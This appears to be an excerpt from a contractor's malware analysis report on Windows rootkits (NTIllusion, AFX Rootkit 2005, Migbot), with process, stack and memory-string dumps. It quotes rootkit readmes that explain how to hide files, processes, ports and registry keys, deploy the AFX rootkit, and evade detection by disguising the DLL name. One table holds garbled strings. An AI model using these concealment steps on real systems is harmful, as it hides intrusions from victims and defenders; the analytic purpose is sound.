The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The following is the readme file from this rootkit and all credit goes to the author Kdm. www.syshell.org is no longer available. In it the author gives some information regarding what NtIllusion will do. He/She also shares a small to do list. The features that are covered include the following TCP, files, processes and the registry.

-----------------------------------------------------------------------
NT ILLUSION ROOTKIT v 1.0
An evil windows XP/NT ring 3 ROOTKIT
-----------------------------------------------------------------------
Author : Coded by Kdm (kodmaker@syshell.org)
-----------------------------------------------------------------------
Site : http://www.syshell.org
-----------------------------------------------------------------------
-----------------------------------------------------------------------

I/ Features (*) :
-----------------------------------------------------------------------
o TCP - coder - hooked api(s) -
-----------------------------------------------------------------------
- defeats netstat (windows) CharToOembufA
- defeats aports (ntutility.com)
AllocAndGetTCPExTableFromStack
- defeats fport (foundstone)
AllocAndGetTCPExTableFromStack
**
- disables tcpview (sysinternals)
AllocAndGetTCPExTableFromStack
& whole program disabled
- defeats any program that rely directly (or by using GetProcAddress) on
AllocAndGetTCPExTableFromStack
-----------------------------------------------------------------------
o FILES
-----------------------------------------------------------------------
- defeats explorer (windows) FindFirst/NextFileA/W
- defeats cmd's dir (windows) WriteConsoleW(/A)
- defeats any program that rely directly (or by using GetProcAddress) on
FindFirst/NextFileA/W
-----------------------------------------------------------------------
o PROCESSES
-----------------------------------------------------------------------
- defeats taskmanager (windows)
NtQuerySystemInformation
- disables Process Explorer (sysinternals)
NtQuerySystemInformation
- defeats any program that rely directly (or by using GetProcAddress) on
NtQuerySystemInformation
-----------------------------------------------------------------------
o REGISTRY
-----------------------------------------------------------------------
The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
- defeats regedit (windows) RegEnumValue
- defeats any program that rely directly (or by using GetProcAddress) on RegEnumValue

Notes:

* Any process whose executable name or command line contains RTK_FILE_CHAR will not be hijacked (backdoor)

II/ Details:

<-------------
C:\>kNTIllusionLoader.exe kNTIllusion.dll
Running NTIllusion Rootkit Loader v 0.1 by Kdm (kodmaker@netcourrier.com)

OK
C:\>
Debug View:
- Rootkit injected into 'c:\windows\explorer.exe', fixing modules...
...
- # Hooked CreateProcessW : - "C:\aports.exe", injecting rootkit (c:\kntillusion.dll)... 
- Rootkit injected into 'c:\aports.exe', fixing modules...
- Spreading across userland : injected into 'c:\aports.exe', fixing modules...
- 'c:\aports.exe' : all modules reviewed.
<-------------

o TCP

NTIllusion hooks AllocAndGetTCPExTableFromStack to make programs hide some (strategic ? :) tcp ports. These "hidden ports" belong to range from RTK_PORT_HIDE_MIN to RTK_PORT_HIDE_MAX. This is done by hijacking AllocAndGetTCPExTableFromStack for all programs (NT latests versions) and CharToOembufA (netstat output).

= Demo =
C:\>nc -lp 56788
C:\>netstat -an
Debug View : [!] NTIllusion made a port hidden (5678* range)
C:\>aports.exe
Debug View : [!] NTIllusion made a TCP socket hidden for process nc.exe (1884)

o PROCESS

NTIllusion hooks NtQuerySystemInformation to make programs hide some (strategic ? :) process. So all process whose file name starts by RTK_PROCESS_CHAR will be hidden.

= Demo =
C:\>_ntibackdoor.exe
Debug View : [!] NTIllusion made the process '_ntibackdoor.exe' hidden.
Note : the SendMessageW hook for taskmgr.exe is available for test purpose.

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
FILES

NTillusion hooks FindFirstFileA/W, FindNextFileA/W to make programs hide some (strategic?) files. Contrary to the registry hook engine, a hidden file with a prefix that sits in a lower position than another file's one in ASCII table won't prevent them from being shown. So a hidden file named abcd.exe won't hide bcde.exe and so on. All files whose name start by RTK_FILE_CHAR will be hidden.

Demo:
echo rootkitloaded > c:\ntimsg.txt
C:\>dir c:\*.*
Debug View: [!] NTillusion made the file: '_ntimsg.txt' invisible.
Browse to c:\:
Debug View: [!] NTillusion made the file: '_ntimsg.txt' invisible.

REGISTRY

NTillusion hooks regedit to make it hide some (strategic?) registry keys. Regedit won't see all keys starting by string RTK_REG_CHAR (_nti by default). Indeed, we return a value that means the end of the keys list. That's why you must be prudent when choosing RTK_REG_CHAR because a too global prefix will also hide normal keys and may bring the user suspicion.

Examples:
- Bad prefix: using _char as rootkit's tag could hide other keys whose first char's ascii code is greater than _one, since keys are retrieved in lexicographic order by default.
- Correct prefix: using char © prevent us the effort of returning the next correct key (if it exists) since registry key names are most of the time composed of alphanumeric tokens.

Demo:
C:\>regedit.exe
Debug View: [!] NTillusion made the key '_ntiKdm' (and all subsequent keys) hidden.

Comments:
- fixed debug output function: rootkit now sends a whole string instead of unformatted parts
- you can solve self tcp scan (instead of netsat) problem by using a reverse connection backdoor
- beware: dll may be revealed by Sygate personal firewall that contains a dll injection counterfights mechanism. So name this dll properly! (ie not backdoor.dll ... but system.dll)

Todo:
- port NT ILLUSION to win 9x (yes, it's possible)
- hijack LoadLibraryW & CreateProcessA
- code a routine that scans all process from explorer's process and try to inject them (this will inject console programs launched before the rootkit is loaded or graphic process not brought to foreground but able to reveal us: for example, ftp servers)) by using no privilege, then the SeDebugPrivilege (if possible)

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

-124-
The following is from the readme.txt of the rootkit, it gives a general description of the rootkits process. I have also included screen shots to give a visual look at the process of this rootkit. AFX Rootkit 2005 by Aphex

http://www.iamaphex.net

aphex@iamaphex.net

WARNING -> FOR WINDOWS NT/2000/XP/2003 ONLY!

This program patches Windows API to hide certain objects from being listed.

Current Version Hides:

a) Processes
b) Handles
c) Modules
d) Files & Folders
e) Registry Keys & Values
f) Services
g) TCP/UDP Sockets
h) Systray Icons
Configuring a computer with the rootkit is simple... (The following example is the example I have included in my screen shots)

1. Create a new folder with a unique name i.e. "c:\winnt\rewt\"

   A. the TESTFOLDERASX is the folder that will demonstrate the rootkits action, both the root.exe and the TestFolderasx will vanish.

2. In this folder place the root.exe i.e. "c:\winnt\rewt\root.exe"

3. Execute root.exe with the "/i" parameter i.e. "start c:\winnt\rewt\root.exe /i"

   A. Immediately after this is launched you will see a icon called hook.dll

   B. Once you return to the C: winnt the rewt folder will no longer exist (It is hidden from the OS the file is there however. If you attempt to delete the rewt folder it will tell you that the folder has information in it and can not be deleted)
4. Inside this folder place any other programs or files.

Everything inside the root folder is now invisible! (It will continue to stay invisible until you use the removal method) If you place other services or programs in the root folder they will be invisible from process/file/dll/handle/socket/etc listing. However, all programs in the root folder can see each other.

Registry value names are hidden differently from everything else. The name must begin with the

root folder name followed by "\" and other characters i.e. "rewt\hiddenstartup1".

Registry key names are hidden if they have the same name as the root folder i.e. "rewt".

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Also, the root folder is unique throughout the system. This means "c:\rewt\",
"c:\winnt\rewt\"
and "c:\winnt\system32\rewt\" all will be hidden because they all share the root folder
name "rewt".

So make sure you pick a good name!

NOTE: Most RATs have an install method that involves copying the EXE to a system
folder, this is bad because if the process is executed from outside the root folder it will be
visible! If possible disable this startup method.

Removal:

Method 1
1. Run the root.exe with the "/u" parameter
   A. My experience was that after this command you will need to reboot here (This
      eliminates a little bug similar to the bug I describe below)
   2. Delete all the files associated with it
   3. Reboot

Method 2
1. Boot into safe mode
2. Locate the service with the root folder name
3. Remove the service and delete all the files associated with it
4. Reboot

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract
number NBCHC80048. SBIR Data Rights apply.

-128-
Process Explorer Threads root.exe

<table>
<thead>
<tr>
<th>Process</th>
<th>Operation</th>
<th>Path</th>
<th>Result</th>
<th>Detail</th>
</tr>
</thead>
<tbody>
<tr>
<td>ntdll.exe</td>
<td>PsGetContextThread</td>
<td>ntoskrnl.exe</td>
<td>SUCCESS</td>
<td>Parent PID: 1608</td>
</tr>
<tr>
<td>ntoskrnl.exe</td>
<td>ExReleaseResourceLite</td>
<td>0x1a3</td>
<td>0x329</td>
<td>Thread ID: 3420</td>
</tr>
<tr>
<td>ADVAPI32.dll</td>
<td>StartServiceW</td>
<td>0x20e</td>
<td>0x62</td>
<td>Image Base: 0x400000, Image Size: 0x1c000</td>
</tr>
<tr>
<td>ADVAPI32.dll</td>
<td>StartServiceCtrlDispatcherA</td>
<td>0x5a4f</td>
<td>0x49</td>
<td>Image Base: 0x7c7900000, Image Size: 0xaf000</td>
</tr>
<tr>
<td>root.exe</td>
<td>RegisterWaitForInputIdle</td>
<td>0x5a4f</td>
<td></td>
<td>Image Base: 0x7c8000000, Image Size: 0xf6000</td>
</tr>
</tbody>
</table>

Process Monitor root.exe

<table>
<thead>
<tr>
<th>Process Name</th>
<th>PID</th>
<th>Operation</th>
<th>Path</th>
<th>Result</th>
<th>Detail</th>
</tr>
</thead>
<tbody>
<tr>
<td>root.exe</td>
<td>3720</td>
<td>Process Start</td>
<td>C:\DOCUME<del>1\210 user\LOCALS</del>1\Temp\Temporary Directory 1 for AFXRootkit2005.zip\root.exe</td>
<td>SUCCESS</td>
<td>Parent PID: 1608</td>
</tr>
<tr>
<td>root.exe</td>
<td>3720</td>
<td>Thread Create</td>
<td>C:\WINDOWS\system32\ntdll.dll</td>
<td>SUCCESS</td>
<td>Thread ID: 3420</td>
</tr>
<tr>
<td>root.exe</td>
<td>3720</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\kernel32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7c7900000, Image Size: 0xaf000</td>
</tr>
<tr>
<td>root.exe</td>
<td>3720</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\user32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7c8000000, Image Size: 0xf6000</td>
</tr>
<tr>
<td>root.exe</td>
<td>3720</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\gdi32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7e410000, Image Size: 0x91000</td>
</tr>
<tr>
<td>root.exe</td>
<td>3720</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\user32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x77f10000, Image Size: 0x49000</td>
</tr>
<tr>
<td>root.exe</td>
<td>3720</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\user32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x76390000, Image Size: 0x1d000</td>
</tr>
<tr>
<td>root.exe</td>
<td>3720</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\advapi32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x77dd0000, Image Size: 0x9b0000</td>
</tr>
<tr>
<td>root.exe</td>
<td>3720</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\ole32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x77e70000, Image Size: 0x92000</td>
</tr>
<tr>
<td>root.exe</td>
<td>3720</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\oleaut32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x77fe0000, Image Size: 0x11000</td>
</tr>
<tr>
<td>root.exe</td>
<td>3720</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\ole32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x777120000, Image Size: 0x86000</td>
</tr>
<tr>
<td>root.exe</td>
<td>3720</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\msvcr1.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x77c10000, Image Size: 0x58000</td>
</tr>
<tr>
<td>root.exe</td>
<td>3720</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\msvcr1.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x774e0000, Image Size: 0x13d000</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
<table>
<thead>
<tr>
<th>M</th>
<th>dF</th>
<th>tBb</th>
<th>0DBR</th>
</tr>
</thead>
<tbody>
<tr>
<td>v)N/w i}PA</td>
<td>QUc</td>
<td>ayy</td>
<td></td>
</tr>
<tr>
<td>2apdXx</td>
<td>$aa?X</td>
<td>af(xC</td>
<td></td>
</tr>
<tr>
<td>FBT</td>
<td>CDR&quot;a</td>
<td>:eHufkppa</td>
<td></td>
</tr>
<tr>
<td>tD1Z</td>
<td>LaP</td>
<td>bInfoi</td>
<td></td>
</tr>
<tr>
<td>btq</td>
<td>P WUd</td>
<td>\rLh</td>
<td></td>
</tr>
<tr>
<td>TSoU</td>
<td>KHO9</td>
<td>O&quot;XDaj</td>
<td></td>
</tr>
<tr>
<td>/ohE</td>
<td>DWN</td>
<td>&gt;xbi</td>
<td></td>
</tr>
<tr>
<td>KdelZae</td>
<td>Kwsh</td>
<td>HbS</td>
<td></td>
</tr>
<tr>
<td>Lhl</td>
<td>UTj</td>
<td>tLI\</td>
<td></td>
</tr>
<tr>
<td>Q$EA</td>
<td>DsI</td>
<td>UgW</td>
<td></td>
</tr>
<tr>
<td>PQR</td>
<td>D V&quot;L,</td>
<td>jcW</td>
<td></td>
</tr>
<tr>
<td>UZf</td>
<td>TLH,enIHt</td>
<td>VFZ</td>
<td></td>
</tr>
<tr>
<td>WPQ</td>
<td>lrh9d</td>
<td>YaI(G</td>
<td></td>
</tr>
<tr>
<td>DPaB</td>
<td>LrH9D</td>
<td>Load(</td>
<td></td>
</tr>
<tr>
<td>FAI</td>
<td>QJN</td>
<td>;;rr&quot;yA</td>
<td></td>
</tr>
<tr>
<td>3chek</td>
<td>HDTTr</td>
<td>GPR</td>
<td></td>
</tr>
<tr>
<td>uXJ</td>
<td>ke9rn</td>
<td>Get</td>
<td></td>
</tr>
<tr>
<td>AC&quot;B,8</td>
<td>.p0Sn</td>
<td>\E\mA9</td>
<td></td>
</tr>
<tr>
<td>Zca</td>
<td>%Lis</td>
<td>Ad{O</td>
<td></td>
</tr>
<tr>
<td>Pdn</td>
<td>NOx</td>
<td>Ex'it</td>
<td></td>
</tr>
<tr>
<td>GJx</td>
<td>HNQR</td>
<td>Ex$M</td>
<td></td>
</tr>
<tr>
<td>#QR&quot;N</td>
<td>.dPr</td>
<td>L&amp;E*Ej</td>
<td></td>
</tr>
<tr>
<td>vnZ1A</td>
<td>4HH Yy8</td>
<td>BMg</td>
<td></td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Miscellaneous Information and Summary

This root kit was very easy to use and very effective. There was one bug in that if you use the command to remove sometimes it will allow you into the REWT folder by using the arrow key. This however will stop once you get out of the folder and the C drive.

This rootkit could be used with the FU rootkit to hide programs and to hide any program that you may want to hide.
Migbot Chase

PSList Migbot

I ran PSList and found that not only did the migloader.exe show up but another executable was also added dwwin.exe. The only way that I happened to catch these in PSList without the use of Flypaper was that an error was created and until I clicked on the “don’t send” button the processes stayed visible. Below this is the error that was given.

<table>
<thead>
<tr>
<th>Name</th>
<th>Pid</th>
<th>Pri</th>
<th>Thd</th>
<th>Hnd</th>
<th>Priv</th>
<th>CPU Time</th>
<th>Elapsed Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>Idle</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>0</td>
<td>0</td>
<td>0:13:00.041</td>
<td>0:00:00.000</td>
</tr>
<tr>
<td>System</td>
<td>4</td>
<td>8</td>
<td>89</td>
<td>206</td>
<td>0</td>
<td>0:00:05.357</td>
<td>0:00:00.000</td>
</tr>
<tr>
<td>smss</td>
<td>604</td>
<td>11</td>
<td>3</td>
<td>19</td>
<td>164</td>
<td>0:00:00.030</td>
<td>0:14:49.418</td>
</tr>
<tr>
<td>cssrs</td>
<td>660</td>
<td>13</td>
<td>11</td>
<td>366</td>
<td>1632</td>
<td>0:00:05.307</td>
<td>0:14:48.117</td>
</tr>
<tr>
<td>winlogon</td>
<td>684</td>
<td>13</td>
<td>19</td>
<td>514</td>
<td>6800</td>
<td>0:00:01.402</td>
<td>0:14:46.224</td>
</tr>
<tr>
<td>services</td>
<td>728</td>
<td>9</td>
<td>17</td>
<td>343</td>
<td>3756</td>
<td>0:00:22.562</td>
<td>0:14:46.044</td>
</tr>
<tr>
<td>lsass</td>
<td>740</td>
<td>9</td>
<td>20</td>
<td>339</td>
<td>3624</td>
<td>0:00:00.991</td>
<td>0:14:46.014</td>
</tr>
<tr>
<td>svchost</td>
<td>892</td>
<td>8</td>
<td>17</td>
<td>194</td>
<td>2896</td>
<td>0:00:00.220</td>
<td>0:14:45.292</td>
</tr>
<tr>
<td>svchost</td>
<td>948</td>
<td>8</td>
<td>10</td>
<td>238</td>
<td>1644</td>
<td>0:00:00.550</td>
<td>0:14:44.952</td>
</tr>
<tr>
<td>svchost</td>
<td>988</td>
<td>8</td>
<td>70</td>
<td>1373</td>
<td>12944</td>
<td>0:00:04.115</td>
<td>0:14:44.692</td>
</tr>
<tr>
<td>svchost</td>
<td>1032</td>
<td>8</td>
<td>5</td>
<td>57</td>
<td>1036</td>
<td>0:00:00.030</td>
<td>0:14:44.612</td>
</tr>
<tr>
<td>svchost</td>
<td>1092</td>
<td>8</td>
<td>13</td>
<td>203</td>
<td>1564</td>
<td>0:00:00.090</td>
<td>0:14:43.931</td>
</tr>
<tr>
<td>spoolsv</td>
<td>1392</td>
<td>8</td>
<td>10</td>
<td>118</td>
<td>2932</td>
<td>0:00:00.080</td>
<td>0:14:42.188</td>
</tr>
<tr>
<td>explorer</td>
<td>1408</td>
<td>8</td>
<td>14</td>
<td>490</td>
<td>15548</td>
<td>0:00:38.335</td>
<td>0:14:42.138</td>
</tr>
<tr>
<td>gearsec</td>
<td>1544</td>
<td>8</td>
<td>2</td>
<td>29</td>
<td>248</td>
<td>0:00:00.020</td>
<td>0:14:41.817</td>
</tr>
<tr>
<td>ctfmon</td>
<td>1624</td>
<td>8</td>
<td>1</td>
<td>113</td>
<td>848</td>
<td>0:00:00.460</td>
<td>0:14:40.956</td>
</tr>
<tr>
<td>PQV2iSvc</td>
<td>1664</td>
<td>8</td>
<td>7</td>
<td>225</td>
<td>13488</td>
<td>0:00:07.741</td>
<td>0:14:40.736</td>
</tr>
<tr>
<td>GhostTray</td>
<td>1672</td>
<td>8</td>
<td>7</td>
<td>176</td>
<td>3252</td>
<td>0:00:02.633</td>
<td>0:14:40.736</td>
</tr>
<tr>
<td>alg</td>
<td>540</td>
<td>8</td>
<td>5</td>
<td>99</td>
<td>1040</td>
<td>0:00:00.010</td>
<td>0:14:34.837</td>
</tr>
<tr>
<td>wscntfy</td>
<td>568</td>
<td>8</td>
<td>1</td>
<td>39</td>
<td>512</td>
<td>0:00:00.040</td>
<td>0:14:34.347</td>
</tr>
<tr>
<td>ExmpSrv</td>
<td>1960</td>
<td>8</td>
<td>7</td>
<td>189</td>
<td>26272</td>
<td>0:00:01.452</td>
<td>0:13:18.327</td>
</tr>
<tr>
<td>cmd</td>
<td>3156</td>
<td>8</td>
<td>1</td>
<td>34</td>
<td>1904</td>
<td>0:00:00.030</td>
<td>0:00:39.466</td>
</tr>
<tr>
<td>migloader</td>
<td>3184</td>
<td>8</td>
<td>1</td>
<td>43</td>
<td>460</td>
<td>0:00:00.130</td>
<td>0:00:05.477</td>
</tr>
<tr>
<td>dwwin</td>
<td>3192</td>
<td>8</td>
<td>5</td>
<td>142</td>
<td>1440</td>
<td>0:00:00.100</td>
<td>0:00:04.646</td>
</tr>
<tr>
<td>pslis</td>
<td>3220</td>
<td>13</td>
<td>2</td>
<td>86</td>
<td>900</td>
<td>0:00:00.040</td>
<td>0:00:00.070</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Error Signature Generated by Migbot

I also checked Windows Task Manager both the processes and the applications that might be displayed. The following two screenshots show that migloader.exe shows as an application and migloader.exe and dwwin.exe both show as running processes. Keep in mind though after the error is cleared both of these disappear from Task Manager.

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Windows Task Manager Applications Migloader.exe

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Windows Task Manager Processes Migloader.exe & Dwwin.exe

The following text is from Sysinternals Handle.

Handle Migloader.exe & Dwwin.exe

migloader.exe pid: 492 DELLLAPTOP3\210user
   C: File (RW-) C:\Documents and Settings\210user\Desktop
   B0: Section  \BaseNamedObjects\ShimSharedMemory

--------------------------------------------------------------

dwwin.exe pid: 776 DELLLAPTOP3\210user
   C: File (RW-) C:\WINDOWS\system32
   5D0: Section  \BaseNamedObjects\MSCTF.Shared.SFM.MFG
   630: Section  \BaseNamedObjects\SENS Information Cache

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Process Explorer Stack Migloader.exe

ntoskrnl.exe ExReleaseResourceLite+0x1a3
ntoskrnl.exe PsGetContextThread+0x329
ntoskrnl.exe FsRtlInitializeFileLock+0x83f
ntoskrnl.exe FsRtlInitializeFileLock+0x87e
ntoskrnl.exe ProbeForWrite+0x505
ntoskrnl.exe ZwYieldExecution+0xb78
ntdll.dll KiFastSystemCallRet
kernel32.dll WaitForMultipleObjects+0x18
faultrep.dll ReportFaultDWM+0x14cf
faultrep.dll ReportFault+0x533
kernel32.dll UnhandledExceptionFilter+0x55c
kernel32.dll ValidateLocale+0xa082

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Process Explorer String Memory Migloader.exe

(null)
\??C:\MIGBOT.SYS
BINARY
MIGBOT
!This program cannot be run in DOS mode.
RichQ
.data
.rscc
EEE
ppxxxxx
(null)
CorExitProcess
mscorer.dll
Microsoft Visual C++ Runtime Library
Program:
<program name unknown>
A buffer overrun has been detected which has corrupted the program's internal state. The program cannot safely continue execution and must now be terminated.
Buffer overrun detected!
A security error of unknown cause has been detected which has corrupted the program's internal state. The program cannot safely continue execution and must now be terminated.
Unknown security failure detected!
GetProcessWindowStation
GetUserObjectInformationA
GetLastActivePopup
MessageBoxA
user32.dll
runtime error
TLOSS error
SING error
DOMAIN error
- This application cannot run using the active version of the Microsoft .NET Runtime
Runtime
Please contact the application's support team for more information.
- unable to initialize heap
- not enough space for lowio initialization
- not enough space for stdio initialization
- pure virtual function call
- not enough space for _onexit/atexit table
- unable to open console device
- unexpected heap error
- unexpected multithread lock error
- not enough space for thread data
This application has requested the Runtime to terminate it in an unusual way.
Please contact the application's support team for more information.
- not enough space for environment
- not enough space for arguments
- floating point not loaded
Runtime Error!
Program:
ZwSetSystemInformation
ntdll.dll
RtlInitUnicodeString
C:\MIGBOT.SYS
MIGBOT
BINARY
Failed to load m1gB0t
Failed to decompress m1gB0t
QSVh
oWVS
[UVS
MessageBoxA
>SSj
SSh
FMU
.SVWj
SVW
Ytr
uMSW
HHt
HHt`HHt`HH
ZtX  SSV
Elf  tSSS9]
RPWS  VSW
WVj0  GWhD#@
CYC  WWS
SVW3  6PWS
Wta  tWW
WPS  VSW
YVt  WWWWVSW
Yu+Vj  tCVj
VWj  t2WWWVPVSW
uiSj  LSVWj
NCu  CreateFileA
WWQ  FindResourceA
tYj  LoadResource
SVWse  WriteFile
tHP  SizeofResource
YtC  GetProcAddress
uNV  LockResource
SVW  GetModuleHandleA
VC20XC00U  CloseHandle
SVWU  KERNEL32.dll
tYVU  HeapAlloc
t?xH  HeapFree
VWsU  WideCharToMultiByte
YtD  ExitProcess
VWumhx  TerminateProcess
SVWUj  GetCurrentProcess
SVW  VirtualFree
t.:t$:t(  VirtualAlloc
uwj  HeapReAlloc
hPf@  GetLastError
hPf@  FlushFileBuffers
hPf@  SetFilePointer
hPf@  QueryPerformanceCounter
SVWV  GetTickCount
SUVV  GetCurrentThreadId
YVt  GetCurrentProcessId
VPV  GetSystemTimeAsFileTime
VPV  GetModuleFileNameA
j8hH#@  SetStdHandle
u8SS3  LoadLibraryA
FVhD#@  RtlUnwind
E SS  InterlockedExchange

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
VirtualQuery
GetACP
GetOEMCP
GetCPInfo
LCMapStringA
MultiByteToWideChar
LCMapStringW
GetStringTypeA
GetStringTypeW
GetLocaleInfoA
VirtualProtect
GetSystemInfo
!This program cannot be run in DOS mode.
Rich
.text
h.rdata

Process Explorer Stack Threads 1-5 Dwwin.exe

Stack Thread 1
ntoskrnl.exe ExReleaseResourceLite+0x1a3
ntoskrnl.exe PsGetContextThread+0x329
ntoskrnl.exe FsRtlInitializeFileLock+0x83f
ntoskrnl.exe FsRtlInitializeFileLock+0x87e
win32k.sys+0x2f52
win32k.sys+0x3758
win32k.sys+0x3775
ntdll.dll KiFastSystemCallRet
USER32.dll GetCursorFrameInfo+0x1cc
USER32.dll DialogBoxIndirectParamAorW+0x36
USER32.dll DialogBoxParamW+0x3f
dwwin.exe+0x7c46
dwwin.exe+0xa141
dwwin.exe+0x6557
kernel32.dll GetModuleFileNameA+0x1b4

Stack Thread 2
ntoskrnl.exe ExReleaseResourceLite+0x1a3
ntoskrnl.exe PsGetContextThread+0x329
ntoskrnl.exe FsRtlInitializeFileLock+0x83f
ntoskrnl.exe FsRtlInitializeFileLock+0x87e
win32k.sys+0x2f52
win32k.sys+0x1b2a
win32k.sys EngQueryPerformanceCounter+0x5af

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
ntoskrnl.exe ZwYieldExecution+0xb78
ntdll.dll KiFastSystemCallRet
dwwin.exe+0x78d3
ntoskrnl.exe ZwYieldExecution+0xb78
ntoskrnl.exe FsRtlInitializeFileLock+0x87e
kernel32.dll RegisterWaitForInputIdle+0x49
Stack Thread 3
ntoskrnl.exe FsRtlInitializeFileLock+0x83f
ntoskrnl.exe ProbeForWrite+0x505
ntoskrnl.exe ZwYieldExecution+0xb78
ntdll.dll KiFastSystemCallRet
ADVAPI32.DLL WmiFreeBuffer+0x24e
dwwin.exe+0x74f0
ntoskrnl.exe FsRtlInitializeFileLock+0x87e
kernel32.dll GetModuleFileNameA+0x1b4
Stack Thread 4
ntoskrnl.exe FsRtlInitializeFileLock+0x83f
ntoskrnl.exe ProbeForWrite+0x5bc
ntoskrnl.exe ZwYieldExecution+0xb78
ntdll.dll KiFastSystemCallRet
ntoskrnl.exe GetModuleFileNameA+0x1b4
Stack Thread 5
ntoskrnl.exe FsRtlInitializeFileLock+0x87e
ntoskrnl.exe ProbeForWrite+0xbc
ntoskrnl.exe ZwYieldExecution+0xb78
ntdll.dll KiFastSystemCallRet
kernel32.dll GetModuleFileNameA+0x1b4

Process Explorer String Memory Dwwin.exe

File Microsoft Office 10 Application Error
DataFiles= Heap= EventLogSource=
IconFile= TitleName= ErrorSig=
Server= EventID= ErrorText=
Stage1URL= Flags= ErrorDetail=
Stage2URL= ErrorSubPath= HeaderText=
Stage2URL= RegSubPath= Caption=
UI LCID= DigPidRegPath= Reportee=

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

-146-
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Exception Information
Code: 0x%08x
Flags: 0x%08x
Record: 0x%08x%08x
Address: 0x%08x%08x
Thread %d
Thread ID: 0x%08x
Context:
EDI: 0x%08x ESI:
0x%08x EAX: 0x%08x
EBX: 0x%08x ECX:
0x%08x EDX: 0x%08x
EIP: 0x%08x EBP:
0x%08x SegCs:
0x%08x
EFlags: 0x%08x
0x%08x ESP:
Module %d
Image Base: 0x%08x
Image Size: 0x%08x
Checksum: 0x%08x
Time Stamp: 0x%08x
Version Information
Signature:
StrucVer:
FileVer:
(%d.%d:%d.%d)
ProdVer:
(%d.%d:%d.%d)
FlagMask:
Flags:
FileType:
SubType:
FileDate:
SVW
wG;E
hJN
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
FXj  WVS  QXR
Ft@PV  SPj  Rjp
FXV  QQSV  jjj
GIlu  SVW  jjj
WSV  FFlu  jjj
SVf  QPSR  jjj
JDA  QWP  jjjj
HOO  RPQ  jjj
ZPf  RPQ  jjj
SPV  vjf  jjj
SVWj  SVW  jjjj
Hf  BAA  jjj
HOf  AAB  jjjj
pHf  BAA  jjj
pHf  8A@@Ju  migloader.exe
f9xJs:  BB:M  ntdll.dll
f9FH  QQSV  C:\DOCUME~1\210use
QPV  HVf  rLOCALS~1\Temp\FE
PSV  SVf  A2D.dmp
PSV  HHA  C:\DOCUME~1\210use
f,fFH  SVf  rLOCALS~1\Temp
QPV  f;,<Zv  migloader.exe
Af:E  RPj  Microsoft
SUV  vCj  Microsoft
SUV  HTQ  Application Error
tgh  BPP  8MDMPu
F0tRh  QXR  xuGj
F,t?h  QLR  xuCj
F4Vt,  BHP  wEr
@PRQ  SVW  PRh
RQP  :AuthuB  XRh
